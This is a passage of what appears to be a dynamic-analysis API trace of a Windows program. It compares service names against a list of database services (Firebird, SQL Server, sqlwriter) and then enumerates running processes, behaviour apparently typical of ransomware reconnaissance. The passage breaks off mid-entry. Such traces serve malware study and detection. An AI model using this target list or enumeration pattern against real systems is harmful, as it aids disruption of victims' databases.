lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0172.441] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0172.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0172.583] lstrlenW (lpString="lmhosts") returned 7 [0172.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0172.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0172.583] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0172.583] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0172.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0172.583] lstrlenW (lpString="LSM") returned 3 [0172.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0172.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0172.583] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0172.583] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0172.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0172.583] lstrlenW (lpString="MpsSvc") returned 6 [0172.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0172.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0172.583] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0172.583] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0172.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0172.583] lstrlenW (lpString="NcbService") returned 10 [0172.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0172.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0172.583] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0172.583] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0172.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0172.583] lstrlenW (lpString="netprofm") returned 8 [0172.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0172.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0172.583] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0172.583] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0172.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0172.584] lstrlenW (lpString="NgcSvc") returned 6 [0172.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0172.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0172.584] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0172.584] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0172.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0172.584] lstrlenW (lpString="NlaSvc") returned 6 [0172.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0172.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0172.584] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0172.584] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0172.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0172.584] lstrlenW (lpString="nsi") returned 3 [0172.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0172.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0172.584] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0172.584] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0172.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0172.584] lstrlenW (lpString="PcaSvc") returned 6 [0172.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0172.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0172.584] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0172.584] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0172.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0172.584] lstrlenW (lpString="PlugPlay") returned 8 [0172.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0172.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0172.584] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0172.584] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0172.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0172.584] lstrlenW (lpString="Power") returned 5 [0172.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0172.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0172.584] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0172.585] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0172.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0172.585] lstrlenW (lpString="ProfSvc") returned 7 [0172.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0172.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0172.585] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0172.585] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0172.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0172.585] lstrlenW (lpString="RpcEptMapper") returned 12 [0172.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0172.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0172.585] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0172.585] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0172.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0172.585] lstrlenW (lpString="RpcSs") returned 5 [0172.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0172.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0172.585] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0172.585] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0172.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0172.585] lstrlenW (lpString="SamSs") returned 5 [0172.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0172.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0172.585] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0172.585] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0172.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0172.585] lstrlenW (lpString="Schedule") returned 8 [0172.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0172.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0172.585] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0172.585] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0172.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0172.585] lstrlenW (lpString="SecurityHealthService") returned 21 [0172.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0172.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0172.586] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0172.586] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0172.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0172.586] lstrlenW (lpString="SENS") returned 4 [0172.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0172.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0172.586] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0172.586] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0172.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0172.586] lstrlenW (lpString="ShellHWDetection") returned 16 [0172.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0172.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0172.586] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0172.586] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0172.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0172.586] lstrlenW (lpString="Spooler") returned 7 [0172.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0172.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0172.586] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0172.586] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0172.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0172.586] lstrlenW (lpString="StateRepository") returned 15 [0172.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0172.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0172.586] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0172.586] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0172.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0172.586] lstrlenW (lpString="SysMain") returned 7 [0172.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0172.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0172.586] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0172.586] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0172.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0172.587] lstrlenW (lpString="SystemEventsBroker") returned 18 [0172.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0172.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0172.587] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0172.587] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0172.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0172.587] lstrlenW (lpString="Themes") returned 6 [0172.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0172.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0172.587] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0172.587] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0172.587] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x465efa8 | out: hHeap=0x710000) returned 1 [0172.587] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x540 [0172.592] Process32FirstW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.593] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0172.594] lstrlenW (lpString="System") returned 6 [0172.594] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0172.594] lstrlenW (lpString="smss.exe") returned 8 [0172.594] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0172.595] lstrlenW (lpString="csrss.exe") returned 9 [0172.595] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0172.596] lstrlenW (lpString="wininit.exe") returned 11 [0172.596] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0172.597] lstrlenW (lpString="csrss.exe") returned 9 [0172.597] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0172.597] lstrlenW (lpString="winlogon.exe") returned 12 [0172.598] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0172.599] lstrlenW (lpString="services.exe") returned 12 [0172.599] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0172.599] lstrlenW (lpString="lsass.exe") returned 9 [0172.599] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0172.600] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0172.600] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0172.601] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0172.601] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.602] lstrlenW (lpString="svchost.exe") returned 11 [0172.602] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.602] lstrlenW (lpString="svchost.exe") returned 11 [0172.602] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0172.603] lstrlenW (lpString="dwm.exe") returned 7 [0172.603] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.604] lstrlenW (lpString="svchost.exe") returned 11 [0172.604] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.605] lstrlenW (lpString="svchost.exe") returned 11 [0172.605] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.605] lstrlenW (lpString="svchost.exe") returned 11 [0172.605] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.606] lstrlenW (lpString="svchost.exe") returned 11 [0172.606] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.607] lstrlenW (lpString="svchost.exe") returned 11 [0172.607] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.608] lstrlenW (lpString="svchost.exe") returned 11 [0172.608] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.608] lstrlenW (lpString="svchost.exe") returned 11 [0172.608] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.609] lstrlenW (lpString="svchost.exe") returned 11 [0172.609] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.610] lstrlenW (lpString="svchost.exe") returned 11 [0172.610] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.611] lstrlenW (lpString="svchost.exe") returned 11 [0172.611] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0172.611] lstrlenW (lpString="spoolsv.exe") returned 11 [0172.611] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.612] lstrlenW (lpString="svchost.exe") returned 11 [0172.612] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0172.613] lstrlenW (lpString="audiodg.exe") returned 11 [0172.613] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0172.614] lstrlenW (lpString="taskhostw.exe") returned 13 [0172.614] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0172.615] lstrlenW (lpString="sihost.exe") returned 10 [0172.615] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.616] lstrlenW (lpString="svchost.exe") returned 11 [0172.616] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0172.616] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0172.616] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0172.617] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0172.617] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0172.618] lstrlenW (lpString="Memory Compression") returned 18 [0172.618] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0172.619] lstrlenW (lpString="taskhostw.exe") returned 13 [0172.619] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0172.619] lstrlenW (lpString="msoia.exe") returned 9 [0172.619] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0172.620] lstrlenW (lpString="explorer.exe") returned 12 [0172.620] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0172.621] lstrlenW (lpString="SearchUI.exe") returned 12 [0172.621] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0172.622] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0172.622] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0172.622] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0172.622] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0172.623] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0172.623] Process32NextW (in: hSnapshot=0x540, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, 